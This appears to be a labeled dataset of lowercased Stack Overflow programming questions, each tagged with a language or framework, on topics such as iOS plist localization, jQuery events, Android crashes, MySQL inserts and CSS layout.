how to copy property list file and its localized version to documents folder and make the system recognize the two version for a loclized application  i make a localized iphone application and in run time i want to modify the property list  so i at the first run of the application i copied the plist file but i don t sure if the copy operation also copied the localized version which the system store in a folder like: lp.fr my quetion is: what i must do for the system to recognise the two files  should i make two directory in documents folder like lp.en and lp.fr and copy the two files  also also xcode make the two plist with the same name  how i can determine every version and copy it     i am waiting for some one to direct me to write way. thanks,iphone
how would i run jquery code once a value is selected from a dropdown list   the html involved is similar to this:    <img src= https://i.stack.imgur.com/a88xg.png  alt= this is a picture of the html. >    <a href= https://i.stack.imgur.com/a88xg.png  rel= nofollow noreferrer >http://i.stack.imgur.com/a88xg.png</a>    i cannot change the html  it is auto generated. i need to perform an event once a specific  option  is picked from the dropdown list  however at the moment i can t reference it  as nothing in the html seems to change.    for example  once changed to option 2  call an alert.    thanks guys.,jquery
accessing variable in class in python using google app engine platform  i have a problem accessing a variable in the post instance of a mainpage class of google app engine. since i can not change the post instance name to <strong>init</strong> i am not sure how to access the variable - image   <pre><code>class mainpage(handler): def get(self):     dictionary = getpure()     img =  http://www.apogeephoto.com/wp-content/uploads/2016/06/14.jpg      self.render( front.html   dictionary=dictionary  img = img)  def post(self):     image = self.request.get( image )      dictionary = getpure()      if image ==  one :         img =  www.someaddress.jpg      elif image ==  two :         img =  someaddress.jpg      elif image ==  three :         img =  someaddress.jpg        self.render( front.html   dictionary=dictionary  img=img) </code></pre>,python
how to get the up time of the machine   i would like to display the up time of the machine my code is running  how can i do that,.net
why is my nsstring causing nslog to display only a portion of the string   suppose i am trying to print out a string like this:   <pre><code>nslog(@ *** download start ***\n%@\n*** download end ***   bufstring); </code></pre>   bufstring is an nsstring. what could bufstring contain to cause the output to get truncated after its first character  my guess is that it has something to do with newline representation being translated to a string termination character.    the complete readout from the log of this statement:   <pre><code>2012-08-02 12:20:02.595 myapp[18863:710f] *** download start *** { </code></pre>   the result of [bufstring length] is 15914. the data it is trying to display is a multi-line json.    what might i do to print out the entire string,objective-c
java inheritance after compilation  <code>class car extends viecle</code>    <code>car</code>is compiled.    class <code>client</code> uses <code>car</code>.    are fields and methods from <code>viecle</code> put into <code>car</code> class during compilation  or <code>car</code> simply needs class <code>viecle</code> to be compiled (and not removed) in compile and after - during runtime,java
apple code: initialize object as nil  then <pre><code>    - (uitableviewcell *)tableview:(uitableview *)tableview cellforrowatindexpath:(nsindexpath *)indexpath {      // date formatter for displaying dates     static nsdateformatter *dateformatter = nil;     if(dateformatter == nil){         dateformatter = [[nsdateformatter alloc] init];         [dateformatter settimestyle:nsdateformattermediumstyle];         [dateformatter setdateformat:nsdateformattermediumstyle];     } </code></pre>   why do we initialize the dateformatter variable and then immediately test for it being nil  ive noticed this a lot in the newer apple code. curious!    -buffalo,objective-c
formatexception was unhandled in c#  i m learning c# by myself and i m trying to create a simple project for learning some controls. and i m coding my project just like my book  but i get an error. could anyone help me  thank you...    <strong><em>error: an unhandled exception of type  system.formatexception  occurred in mscorlib.dll additional information: input string was not in a correct format.</em></strong>    my code:   <pre><code>private void button1_click(object sender  eventargs e)     {         int sum = 0;         float average = 0;         sum += convert.toint32(textbox1.text);         sum += convert.toint32(textbox2.text);         sum += convert.toint32(textbox3.text);         average = (float)sum / 3;         textbox4.text = average.tostring();     } </code></pre>   <a href= http://i.stack.imgur.com/y7z1y.png  rel= nofollow >my project</a>,c#
how do you pass a method with arguments to #to_xml   how can i pass a method with an argument to #to_xml    <pre><code>@object.to_xml(:methods =&gt; [:a_method_with_args] ) </code></pre>   is there a way to do this  what is the correct syntax     thanks.,ruby-on-rails
how can i remove ruby  rails & mysql to start the installation process again   i ve been trying to get setup with ruby on rails today  but i think i ve followed some bad instructions along the way  and nothing seems to work. i ve now borrowed the book  agile web development with rails  third edition  from a friend  and want to follow the setup instructions in that. firstly  do i need to remove what i ve setup previously  if yes  how do i do it  i can t seem to find instructions anywhere. i m running osx 10.6.1  so i know that it came with some stuff already setup  but i ve been installing customized stuff over the top which i think i ll have to remove. thanks for reading!,ruby-on-rails
getting an error using .on( click ) but it works using .click() in jquery   i´m trying to use on( click ) method.   <pre><code>$( .pacotesdesc ).on( click  function(){console.log( test )})  typeerror: undefined is not a function </code></pre>   and it doesn´t work.    but when i use .click() method it works:   <pre><code> $( .pacotesdesc ).click(function(){console.log( test )}) </code></pre>   why i´m getting an error when i use .on( click ) method  but it works when i use .click() method in jquery,jquery
mysql - 2 contraints from the same column  i have a table as follow    <a href= https://i.stack.imgur.com/ky39b.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ky39b.png  alt= enter image description here ></a>    my question is sometimes an address can have 2 or 3 different zones.    my column  zone (tinyint)  is linked to an other table  db_zone  with a foreign key constraint    is it possible to add a second parameter to my column like    <a href= https://i.stack.imgur.com/ojah7.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ojah7.png  alt= enter image description here ></a>    i know i could change my column to varchar  and remove my constraint then add like  zone: 1/2  and explode the value of my column  zone  to do my query later  but i want to keep my constraint.    i don t want either to duplicate my entry as the column  id  is also linked from an other table so i will have the same problem later.    how can i solve this,mysql
how to change the menu item `font style` in android  i want to change the  font style` my menu items. by default it s looks like this <a href= https://i.stack.imgur.com/ki3y3.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ki3y3.png  alt= default ></a>    but i want to change into this <a href= https://i.stack.imgur.com/irubw.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/irubw.png  alt= after ></a>,android
how do i solve android.view.inflateexception when running an app  my app crashes every time i run it on the emulator. i get a message saying myapp stopped working .i am new to android and i am using android studio . i looked at the logcat output and this is what i get     <pre><code>06-12 14:41:21.160  27245-27245/  i/art  not late-enabling -xcheck:jni (already on) 06-12 14:41:21.310  27245-27245/  d/androidruntime  shutting down vm 06-12 14:41:21.320  27245-27245/  e/androidruntime  fatal exception: main     process: com.example.machimanapc.btdt  pid: 27245     java.lang.runtimeexception: unable to start activity componentinfo{com.example.machimanapc.btdt/com.example.machimanapc.btdt.quizsplashactivity}: android.view.inflateexception: binary xml file line #1: error inflating class leanerlayout             at android.app.activitythread.performlaunchactivity(activitythread.java:2325)             at android.app.activitythread.handlelaunchactivity(activitythread.java:2390)             at android.app.activitythread.access$800(activitythread.java:151)             at android.app.activitythread$h.handlemessage(activitythread.java:1303)             at android.os.handler.dispatchmessage(handler.java:102)             at android.os.looper.loop(looper.java:135)             at android.app.activitythread.main(activitythread.java:5257)             at java.lang.reflect.method.invoke(native method)             at java.lang.reflect.method.invoke(method.java:372)             at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:903)             at com.android.internal.os.zygoteinit.main(zygoteinit.java:698)      caused by: android.view.inflateexception: binary xml file line #1: error inflating class leanerlayout             at android.view.layoutinflater.createviewfromtag(layoutinflater.java:757)             at android.view.layoutinflater.inflate(layoutinflater.java:482)             at android.view.layoutinflater.inflate(layoutinflater.java:414)             at android.view.layoutinflater.inflate(layoutinflater.java:365)             at com.android.internal.policy.impl.phonewindow.setcontentview(phonewindow.java:378)             at android.app.activity.setcontentview(activity.java:2145)             at com.example.machimanapc.btdt.quizactivity.oncreate(quizactivity.java:17)             at com.example.machimanapc.btdt.quizsplashactivity.oncreate(quizsplashactivity.java:20)             at android.app.activity.performcreate(activity.java:5990)             at android.app.instrumentation.callactivityoncreate(instrumentation.java:1106)             at android.app.activitythread.performlaunchactivity(activitythread.java:2278)             at android.app.activitythread.handlelaunchactivity(activitythread.java:2390)             at android.app.activitythread.access$800(activitythread.java:151)             at android.app.activitythread$h.handlemessage(activitythread.java:1303)             at android.os.handler.dispatchmessage(handler.java:102)             at android.os.looper.loop(looper.java:135)             at android.app.activitythread.main(activitythread.java:5257)             at java.lang.reflect.method.invoke(native method)             at java.lang.reflect.method.invoke(method.java:372)             at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:903)             at com.android.internal.os.zygoteinit.main(zygoteinit.java:698)      caused by: java.lang.classnotfoundexception: didn t find class  android.view.leanerlayout  on path: dexpathlist[[zip file  /data/app/com.example.machimanapc.btdt-2/base.apk ] nativelibrarydirectories=[/vendor/lib64  /system/lib64]]             at dalvik.system.basedexclassloader.findclass(basedexclassloader.java:56)             at java.lang.classloader.loadclass(classloader.java:511)             at java.lang.classloader.loadclass(classloader.java:469)             at android.view.layoutinflater.createview(layoutinflater.java:571)             at android.view.layoutinflater.oncreateview(layoutinflater.java:665)             at com.android.internal.policy.impl.phonelayoutinflater.oncreateview(phonelayoutinflater.java:65)             at android.view.layoutinflater.oncreateview(layoutinflater.java:682)             at android.view.layoutinflater.createviewfromtag(layoutinflater.java:741)             at android.view.layoutinflater.inflate(layoutinflater.java:482)             at android.view.layoutinflater.inflate(layoutinflater.java:414)             at android.view.layoutinflater.inflate(layoutinflater.java:365)             at com.android.internal.policy.impl.phonewindow.setcontentview(phonewindow.java:378)             at android.app.activity.setcontentview(activity.java:2145)             at com.example.machimanapc.btdt.quizactivity.oncreate(quizactivity.java:17)             at com.example.machimanapc.btdt.quizsplashactivity.oncreate(quizsplashactivity.java:20)             at android.app.activity.performcreate(activity.java:5990)             at android.app.instrumentation.callactivityoncreate(instrumentation.java:1106)             at android.app.activitythread.performlaunchactivity(activitythread.java:2278)             at android.app.activitythread.handlelaunchactivity(activitythread.java:2390)             at android.app.activitythread.access$800(activitythread.java:151)             at android.app.activitythread$h.handlemessage(activitythread.java:1303)             at android.os.handler.dispatchmessage(handler.java:102)             at android.os.looper.loop(looper.java:135)             at android.app.activitythread.main(activitythread.java:5257)             at java.lang.reflect.method.invoke(native method)             at java.lang.reflect.method.invoke(method.java:372)             at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:903)             at com.android.internal.os.zygoteinit.main(zygoteinit.java:698)     suppressed: java.lang.classnotfoundexception: android.view.leanerlayout             at java.lang.class.classforname(native method)             at java.lang.bootclassloader.findclass(classloader.java:781)             at java.lang.bootclassloader.loadclass(classloader.java:841)             at java.lang.classloader.loadclass(classloader.java:504)             ... 26 more      caused by: java.lang.noclassdeffounderror: class not found using the boot class loader; no stack available ​ </code></pre>,android
underlining user input in c  here is a sample run of this program  assuming that the executable file is called match and hit. this run illustrates a situation where the human player wins the game. user input is  bolded.   <blockquote>    /home/userxyz/ece15/lab3> match_and_hit<br>     welcome to the match and hit game<br>   the computer has selected a 4-digit number.<br>   try to deduce it in 12 rounds of queries.        round #1<br>   please enter your query (4 digits): <strong>5341</strong> &lt;---(this number should be underlined)  </blockquote>   .......    i can t figure out how to underline the user input. any help would be greatly appreciated.,c
java code structuring for school project  myself and 3-4 students in my java class current are working on a project and none of us agree on a way in which to do specific part.     for context here s the directions for this part:   <ul> <li>a card id which should be a whole number</li> <li>a name which should be text</li> <li>a set of 8 permissions  each of these 8 permission will represent one door. this could be stored as booleans  integers or whatever you like.</li> <li> you must also make the following method available:   <blockquote>    <code>public boolean checkdoorpermissions(int doornumber)</code>        behavior: this method will take an integer from 0 to 7 representing one of 8 doors. it will return true if this card s owner (this object) should open the door numbered doornumber. the method should return false otherwise.  </blockquote></li> </ul>   we are at odds over how to go about the permissions. i ve suggested an array list as it may be easier to access it in the method afterwards. others have suggested making 8 <code>boolean</code> permissions  or 8 <code>int</code>s (e.g. <code>private int doornumber8;</code>).    any help/direction is greatly appreciated.,java
angularjs $promise executes only once  is any way that $promise can <strong>execute multiple times</strong> or any alternate in angular.    refer below code. sample code:-   <pre><code>promise.then(function(greeting) {   alert( success:   + greeting); }  ...  if () {      resolve( hello    + name +  ! ); } else {      reject( greeting   + name +   is not allowed. ); } </code></pre>,angularjs
"how to add ellipses without fixing the width   <a href= http://jsfiddle.net/mnpenner/txgh61y2/1/  rel= nofollow >jsfiddle</a>    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.nowrap {
     overflow: hidden;
     white-space: nowrap;
     /*width: 300px;*/
     text-overflow: ellipsis;
 }
 
 .body {
     color: #777;
 }
 
 table {
     border-collapse: collapse;
 }
 
 td  th {
     border: 1px solid black;
     text-align: left;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;table&gt;
     &lt;thead&gt;
         &lt;tr&gt;
             &lt;th&gt;from&lt;/th&gt;
             &lt;th&gt;subject/body&lt;/th&gt;
         &lt;/tr&gt;
     &lt;/thead&gt;
     &lt;tbody&gt;
         &lt;tr&gt;
             &lt;td&gt;mark&lt;/td&gt;
             &lt;td&gt;&lt;div class= nowrap &gt;&lt;span class= subject &gt;lorem ipsum&lt;/span&gt;
                 &lt;span class= body &gt; &amp;ndash; lorem ipsum dolor sit amet  consectetur adipiscing elit. integer tincidunt aliquet libero quis tempus. vivamus id est purus. nulla augue neque  vestibulum in vestibulum vitae  ornare vel nisi. nullam non dolor tincidunt  mattis metus ac  feugiat sapien. interdum et malesuada fames ac ante ipsum primis in faucibus. integer mollis leo in tristique consectetur. quisque non imperdiet neque. nunc fermentum neque sit amet nulla interdum vestibulum. sed ac tempus dolor.&lt;/span&gt;&lt;/div&gt;
 
             &lt;/td&gt;
         &lt;/tr&gt;
     &lt;/tbody&gt;
 &lt;/table&gt;</code></pre>
 </div>
 </div>
     how can i keep the subject/body on one line  with ellipses at the end  without fixing the width of the container     if ellipses aren t possible  how do i at least keep it from wrapping",css
don t hear any sound when publishing asp.net web application  i have a website application in asp.net. i have two mp3 sounds. everything works in the computer(in localhost). when i publish the website  i have no error but when press the button  there is no sound. i don t hear anything. what am i doing wrong  thanks   <pre><code>protected void button1_click(object sender  eventargs e) {     var firstvoice = new system.windows.media.mediaplayer();     var secondvoice = new system.windows.media.mediaplayer();       firstvoice.open(new system.uri(server.mappath( ~/ ) + @ \first.mp3 ));      firstvoice.play();      system.threading.thread.sleep(1500);      secondvoice.open(new system.uri(server.mappath( ~/ ) + @ \second.mp3 ));      secondvoice.play();       secondvoice.stop();   } </code></pre>   in this code i have two sounds playing simultaneously.,asp.net
java library for dealing with win32 filetime   are there any java libraries around for dealing with the win32 <a href= http://msdn.microsoft.com/en-us/library/ms724284%28v=vs.85%29.aspx  rel= noreferrer >filetime/</a> time intervals   it s basically a 64 bit timestamp in 100ns intervals since january 1  1601.     (for my particular needs  converting to/from java.util.date or an appropriate joda time equivalent would do  although i ll need access to at least microsecond resolution - which neither seems to provide.),java
ror: selecting certain posts based on a column value  i have recently been trying to teach myself ror. i have been working through some tutorials over the past few weeks  trying to add some of my own functionality to the app as i go. the feature i am trying to implement seems quite simple  but doubt my solution is as safe and elegant as it could be.     so far  users can submit a post to the site. the model consists of an image  title  category  and description. users can also comment on a given post (the comments are contained in another table). i am trying to add a dropdown menu on the navigation bar that allows users to browse specific categories. in other words  the index should only display posts within the category that the user has selected. while my solution works  i am unhappy with it. here is my code for the navigation bar:   <pre><code>%button#menu1.btn.btn-primary.dropdown-toggle{ data-toggle  =&gt;  dropdown   :type =&gt;  button }     explore     %span.caret   %ul.dropdown-menu{ aria-labelledby  =&gt;  menu1   :role =&gt;  menu }     %li{:role =&gt;  presentation }       %a         = link_to  all   posts_path(categories:  all )     %li{:role =&gt;  presentation }       %a         = link_to  3d modeling   posts_path(categories:  3d modeling )     %li{:role =&gt;  presentation }       %a         = link_to  design   posts_path(categories:  design )     %li{:role =&gt;  presentation }       %a         = link_to  drawing   posts_path(categories:  drawing )     %li{:role =&gt;  presentation }       %a         = link_to  photography   posts_path(categories:  photography )     %li{:role =&gt;  presentation }       %a         = link_to  printmaking   posts_path(categories:  printmaking )     %li{:role =&gt;  presentation }       %a         = link_to  sculpture   posts_path(categories:  sculpture )     %li{:role =&gt;  presentation }       %a         = link_to  other   posts_path(categories:  other ) </code></pre>   here is my code for the index method in the posts controller:   <pre><code>if params[:categories] &amp;&amp; params[:categories] ==  all    @posts = post.all.order( created_at desc ).page params[:page] elsif params[:categories] &amp;&amp; params[:categories] ==  3d modeling    @posts = post.where(category:  3d modeling ).page params[:page] elsif params[:categories] &amp;&amp; params[:categories] ==  design    @posts = post.where(category:  design ).page params[:page] elsif params[:categories] &amp;&amp; params[:categories] ==  drawing    @posts = post.where(category:  drawing ).page params[:page] elsif params[:categories] &amp;&amp; params[:categories] ==  photography    @posts = post.where(category:  photography ).page params[:page] elsif params[:categories] &amp;&amp; params[:categories] ==  printmaking    @posts = post.where(category:  printmaking ).page params[:page] elsif params[:categories] &amp;&amp; params[:categories] ==  sculpture    @posts = post.where(category:  sculpture ).page params[:page] elsif params[:categories] &amp;&amp; params[:categories] ==  other    @posts = post.where(category:  other ).page params[:page] end </code></pre>   finally  here is the code in my routes file:   <pre><code>resources :post do     resources :comments do end  root  posts#index  </code></pre>   it seems as though i should be handling the routes differently  or is that not the case since the category column is part of the post model and not its own table  thanks so much for your help!,ruby-on-rails
how to concatenate when printing to txt file   i am trying to call a method that prints to a txt file. but then when i call the method again it will just overwrite what was in the text file with my new text. i want to file to just keep adding what is printed.   <pre><code>-(void) print:(nsstring *)name { nsurl *url = [nsurl fileurlwithpath:@ /here/file.txt ]; nsstring *filecontent = [nsstring stringwithformat @ %@\n   name]; [filecontent writetourl:url atomically:yes encoding:nsutf8stringencoding error:nil]; } </code></pre>   when i call this method i am calling it by doing:   <pre><code>[name print: person1.name]; [name print: person2.name]; </code></pre>   everytime i try to print the next name it just replaces the name in the text file. i am unsure how to concantenate and continue adding the names     thank you    i have tried this:   <pre><code>nsfilehandle *filehandle = [nsfilehandle filehandleforwritingatpath:@ /here/file.txt ]; nsstring *texttowrite = @ hello ; [filehandle seektoendoffile]; [filehandle writedata:[texttowrite datausingencoding:nsutf8stringencoding]]; [filehandle closefile]; </code></pre>   nothing is printing.,objective-c
angularjs $modal.open not working in locationchangestart  i want to show a modal dialog box when a user clicks on the browser s back button. if he clicks on the proceed button  i would like to redirect to another location. with the <code>event.preventdefault()</code>  nothing happens  but without it  the modal opens  although the browser redirects.   <pre><code>$scope.$on( $locationchangestart   function(event  nexturl  current) {     var modalinstance = $modal.open({         templateurl:  confirm.html           controller: modalinstancectrl          resolve: {            items: function () {                return $scope.session.event_id;            }         }     });      // if i remove this line  the modal is working but the browser location changes.     event.preventdefault(); }); </code></pre>,angularjs
is file good for interprocess communication  i have an exe and dll running in different process. from dll i have to send large of amount of data to exe  which would vary from 50 chars to 2000 chars and more(the data is recordid of records saved in db).      i thought about two options to do that:   <ol> <li>using sendmessage- in which data s will be sent in batch.</li> <li>use an intermediate file to transfer data.</li> </ol>   can anyone list out the pros and cons of methods.    i have developed my components using c#.net,.net
cross browser modal window  i came across a requirement where modal window needs to be displayed to users visiting from browsers like ie  firefox  google chrome and opera. i used the <strong>showmodaldialog</strong> function which didn t work across the above listed browsers.     while searching i came to see jquery plugin which displays modal window  but only accepts text and not urls. my requirement is to set an aspx page url to the modal window.    can someone please help me to sort out this issue,asp.net
code to know wifi is enabled or not and bluetooth is on or not in iphone  can anybody tell me the code to know wifi is enabled or not and bluetooth is on or not in iphone.    thanks in advance.,iphone
insert all rows and columns from table a to b which not exist in b already  i have a table with the following columns:    i want to add all columns and rows from one table (a) to table (b) where the articlenumber (column named  articlenumber  in both tables) is not one article number in b already.    let´s say:    table a   <pre><code>|articlenumber|ordernumber|articlenumber|paymenttype|returned |orderdate | |3            |1          |1            |credit     |no       |01.01.2016| |4            |2          |3            |credit     |no       |30.02.2016| |5            |1          |2            |cash       |no       |01.01.2016| </code></pre>   table b   <pre><code>|articlenumber|ordernumber|articlenumber|paymenttype|returned |orderdate | |1            |1          |1            |cash       |yes      |01.01.2016| |2            |2          |3            |credit     |no       |30.02.2016| |3            |1          |1            |credit     |no       |01.01.2016| </code></pre>   expected outcome:   <pre><code>|articlenumber|ordernumber|articlenumber|paymenttype|returned |orderdate | |1            |1          |1            |cash       |yes      |01.01.2016| |2            |2          |3            |credit     |no       |30.02.2016| |3            |1          |1            |credit     |no       |01.01.2016| |4            |2          |3            |credit     |no       |30.02.2016| |5            |1          |2            |cash       |no       |01.01.2016| </code></pre>   tried it already with this:    <pre><code>insert into b select * from a where a.articlenumber = b.articlenumber; </code></pre>   but this seem not correct    how can i do it  thanks for your support!,mysql
get the value form input within the list format   i have an input that its value has separator.   <pre><code> &lt;input id= list_id_category  type= hidden  value= 29 30 41  name= list_id_category &gt; </code></pre>   i try but it does not work   <pre><code>document.getelementsbyname( list_id_category ).value;   </code></pre>   how can we get the values for this element     thanks,javascript
i am facing error while installing mpop module of python  i have installed built up tools for visual studio still not able to solve the error. [error: command  c:\program files (x86)\microsoft visual studio 14.0\vc\bin\x86_amd64\cl.exe  failed with exit status 2]    how to solve the error,python
how to get source code of python print function   i am trying to get source code of python print using inspect but it is throwing error. can someone please tell me how to get the source code of python2.7 print statement.   <pre><code>inspect.getsourcefile(print) --------------------------------------------------------------------------- typeerror                                 traceback (most recent call last) &lt;ipython-input-85-6158f5314751&gt; in &lt;module&gt;() ----&gt; 1 inspect.getsourcefile(print)  /usr/lib/python3.4/inspect.py in getsourcefile(object)     569     return none if no way can be identified to get the source.     570         --&gt; 571     filename = getfile(object)     572     all_bytecode_suffixes = importlib.machinery.debug_bytecode_suffixes[:]     573     all_bytecode_suffixes += importlib.machinery.optimized_bytecode_suffixes[:]  /usr/lib/python3.4/inspect.py in getfile(object)     534         return object.co_filename     535     raise typeerror( {!r} is not a module  class  method    --&gt; 536                      function  traceback  frame  or code object .format(object))     537      538 moduleinfo = namedtuple( moduleinfo    name suffix mode module_type )  typeerror: &lt;built-in function print&gt; is not a module  class  method  function  traceback  frame  or code object  in [86]: inspect.getsourcefile(builtin.print) --------------------------------------------------------------------------- nameerror                                 traceback (most recent call last) &lt;ipython-input-86-2d1fb60aac58&gt; in &lt;module&gt;() ----&gt; 1 inspect.getsourcefile(builtin.print)  nameerror: name  builtin  is not defined </code></pre>,python
launch image not updating on top of old version  but works fine on fresh new installed app  i am using launch images for my ios app  when i install the fresh app or uninstall the old app and reinstall  i can see the new launch image. but if i install the new version on top of old version(without uninstalling old version app) then i see the old launch image  why this is happening,ios
explode array and define variables  i have the following which returns      soccertennisfootball    <pre><code>$interestsquery  =  select * from user_interests where user_id =   . $usersclass-&gt;userid(); $result = mysql_query($interestsquery);  while($row = mysql_fetch_array($result  mysql_assoc)) { echo  {$row[ interest ]} ; }  </code></pre>   can somebody please explain how i can explode the data and assign it as variables  i ve been looking around at tutorials but they all seem to have some sort of delimeter     <hr>   ive tried the following oly its acting very weird and printing out multiple times      the following...   <pre><code>$interestsquery  =  select * from user_interests where user_id =   . $usersclass-&gt;userid(); $result = mysql_query($interestsquery);  while($row = mysql_fetch_array($result  mysql_assoc)) {  $interests[] = $row[ interest ];  $interest1 = $interests[0];  $interest2 = $interests[1];  $interest3 = $interests[2];   print $interest1 .   -   . $interest2 .   -   . $interest3;  }  </code></pre>   prints out      tennis - tennis - footy - tennis -soccer - footy,php
how to display validator error message for grid cell where space is so tight   i have a required field validator and a range validator for a cell in my grid as follows :    <pre><code>&lt;asp:textbox runat= server  id= txtitemquantity  width= 75%  textmode= number &gt;&lt;/asp:textbox&gt; &lt;asp:requiredfieldvalidator runat= server  id= reqvalitemquantity  controltovalidate= txtitemquantity  errormessage= invalid quantity  text= *  forecolor= red &gt;&lt;/asp:requiredfieldvalidator&gt; &lt;asp:rangevalidator id= ranvalquantity  runat= server  controltovalidate= txtitemquantity  minimumvalue= 0   maximumvalue= 99   errormessage= invalid quantity  text= invalid quantity &gt;&lt;/asp:rangevalidator&gt; </code></pre>   the problem is that this leaves up a very large empty space in my grid for each row which is not convinient:     <img src= https://i.stack.imgur.com/ldkdd.png  alt= enter image description here >    my questions is  is there a different way of displaying an error message without letting it mess up the grid design   i thought of something similar to the textmode error style of the textbox like below but i m not sure how to perform this       <img src= https://i.stack.imgur.com/gv8ci.png  alt= enter image description here >,asp.net
upload profile image with af-networking using formdata  afhttprequestoperationmanager *manager = [afhttprequestoperationmanager manager];     afjsonrequestserializer *requestserializer = [afjsonrequestserializer serializer];     [requestserializer setvalue:@ application/json  forhttpheaderfield:@ accept ];     manager.requestserializer = requestserializer;     manager.responseserializer.acceptablecontenttypes = [nsset setwithobject:@ multipart/form-data ];   <pre><code>nsstring *jsonstring = [nsstring stringwithformat:@ {\ requestcode\ :\ %@\  \ requesttype\ :\ %@\  \ documenttypecode\ :\ abc123\ }   reqcode  type]; nsdictionary *parameter = @{@ request  : jsonstring}; nsstring *urlstring = [nsstring stringwithformat:@ %@%@   baseurl uploadfile]; </code></pre>   afhttprequestoperation *op =   [manager post:urlstring parameters:parameter constructingbodywithblock:^(id formdata) {   <pre><code>    [formdata appendpartwithfileurl:[nsurl fileurlwithpath:imagepath]                                name:@ files                                error:nil];  } success:^(afhttprequestoperation *operation  id responseobject) {      nslog(@ success %@   operation.responsestring);     // [self  parsedata:responseobject withhandler:completionhandler];  } failure:^(afhttprequestoperation *operation  nserror *error) {     nslog(@ error %@ \n  response %@   error  operation.responsestring);     completionhandler(no); }]; [op start]; </code></pre>   i tried with this code but rising error like -     error error domain=nsurlerrordomain code=-1001  the request timed out.  userinfo=0x7c0a4980 {nserrorfailingurlstringkey=<a href= http://prithiviraj.vmokshagroup.com:8033/api/upload  rel= nofollow >http://prithiviraj.vmokshagroup.com:8033/api/upload</a>  nserrorfailingurlkey=<a href= http://prithiviraj.vmokshagroup.com:8033/api/upload  rel= nofollow >http://prithiviraj.vmokshagroup.com:8033/api/upload</a>  nslocalizeddescription=the request timed out.  nsunderlyingerror=0x7c04d880  the request timed out. }     response (null)    please anyone help me to resolve this. thanks and regards manasa,objective-c
get linkedin connections ios  hii i m trying to get linkedin connection. i have see some same questions but did not find any relevant solution. please help me how can i find connection using latest sdk and which permission i need for connections. i have used argument as   <pre><code>#define linkedinapiurl @ http://api.linkedin.com/v1/people/~/connections:(id headline first-name last-name)    - (void)requestmewithtoken:(nsstring *)accesstoken {     [self.client get:[nsstring stringwithformat:@ %@ oauth2_access_token=%@&amp;format=json  linkedinapiurl accesstoken] parameters:nil success:^(afhttprequestoperation *operation  nsdictionary *result)  {         nslog(@ current user %@   result);         [self linkedinauthenticationresponse:result error:nil];     }              failure:^(afhttprequestoperation *operation  nserror *error) {                  nslog(@ failed to fetch current user %@   error);                  [self linkedinauthenticationresponse:nil error:error];              }]; }  - (lialinkedinhttpclient *)client {     lialinkedinapplication *application = [lialinkedinapplication                                            applicationwithredirecturl:[nsstring stringwithformat:@ %@  @ https://www.something.com ]                                             clientid:linkedin_client_id                                            clientsecret:linkedin_client_secret                                            state:@ somestate                                             grantedaccess:@[ lisdk_emailaddress_permission  lisdk_basic_profile_permission lisdk_rw_company_admin_permission lisdk_w_share_permission ]];     return [lialinkedinhttpclient clientforapplication:application presentingviewcontroller:self]; } </code></pre>,ios
problem with sql left join  i build 3 table    <pre><code>tb1 for book tb2 for sub subject tb3 for main subject </code></pre>   each book have 1 sub subject and each sub subject have 1 main subject i want make join between book=> sub subject => main subject    i make join between book and sub subject but cant make between sub subject with main subject   <pre><code>select book.id  book.titl  subsubject.title  mainsubject.title from book left join subsubject on book.id = subsubject.book_id </code></pre>   i want complete this statement to add main subject,sql
availability of 32-bit .net on a 64-bit os  <strong>tldr:</strong> when installing .net on a 64-bit os  are the 32-bit components always present     i used to have my app (<a href= http://ironscheme.codeplex.com/ >ironscheme</a>) compiled entirely as <code>anycpu</code>. while this works great for all platforms  the 64-bit jit compiler just seems too slow for my liking (about 550% slower startup and about 25% slower in general). the startup slowness can be solved by ngen ng my assemblies and does in fact improve startup time another odd 500% when done so. this is gives about a 2600% improvement on startup time (3700ms vs 140ms) on 64-bit. when both 32-bit and 64-bit are ngen d  the startup times are the same  but 32-bit still performs better at runtime.    now given in most cases 64-bit is not needed at all  i think targeting x86 in the executable would just be the best general solution (all the other assemblies are targeting <code>anycpu</code>  but from what i can see  the executable determines where it goes). so the idea is to to have 2 startup executables  one targeting x86  the other x64 (or amd64 as ms calls it).    when installing on a 32-bit os  i can be sure no 64-bit components are present. but what about the opposite case  does the .net installer install both 32-bit and 64-bit components  this is important as ngen ng a non-anycpu assembly will fail if the target does not match the runtime.    example:     <em> error compiling ironscheme.console.exe: this version of  is not compatible with the version of windows you re running. </em>    also note that my application is built by default for .net 2 and in vs2008  so the new <code>anycpu (32-bit preferred)</code> option (in vs2012/.net 4.5) is not an option for me at this time.    ps: sorry  if this has been asked before. i have no idea how to search for this specific issue  and my google fu failed me too.,.net
move to backward and forward on button click in uiwebview  hi i want to move to next page of html file on next button click and previous button click.   <pre><code>nsstring *htmlpath   = [[nsbundle mainbundle] pathforresource:@ opening  oftype:@ html ]; nsdata *htmldata     = [nsdata datawithcontentsoffile:htmlpath]; nsstring *htmlstring = [[nsstring alloc] initwithdata:htmldata encoding:nsutf8stringencoding];  [self.webview loadhtmlstring:htmlstring baseurl:[[nsbundle mainbundle] bundleurl]]; </code></pre>,ios
magic with z-index  okay  i have typical menu (<code>ul&gt;li&gt;a</code>). the mission is to draw background <code>&lt;div&gt;</code> (shadow  gradient etc) into an <code>&lt;li&gt;</code> element (<code>ul&gt;li&gt;.shadow-bg-white</code>) (for example  the div is green bordered. all other borders are just for better visibility of problem)    <a href= http://jsfiddle.net/voilalal/p57ye/embedded/result/  rel= nofollow >http://jsfiddle.net/voilalal/p57ye/embedded/result/</a> or <a href= http://jsfiddle.net/voilalal/p57ye/6/  rel= nofollow >http://jsfiddle.net/voilalal/p57ye/6/</a> (for example  the div is bordered with green color)    if i hover over the items from left to right  everything is okay. however  if i hover over the items from right to left  items on the left side do not react to the <code>:hover</code> pseudo-class.    every block has the css <code>position</code> property assigned  so <code>z-index</code> should work well  i hope.    at least  <code>.shadow-bg-white</code> <code>z-index</code> seems to be placed higher than the <code>a</code> item.    what solution can you recommend,css
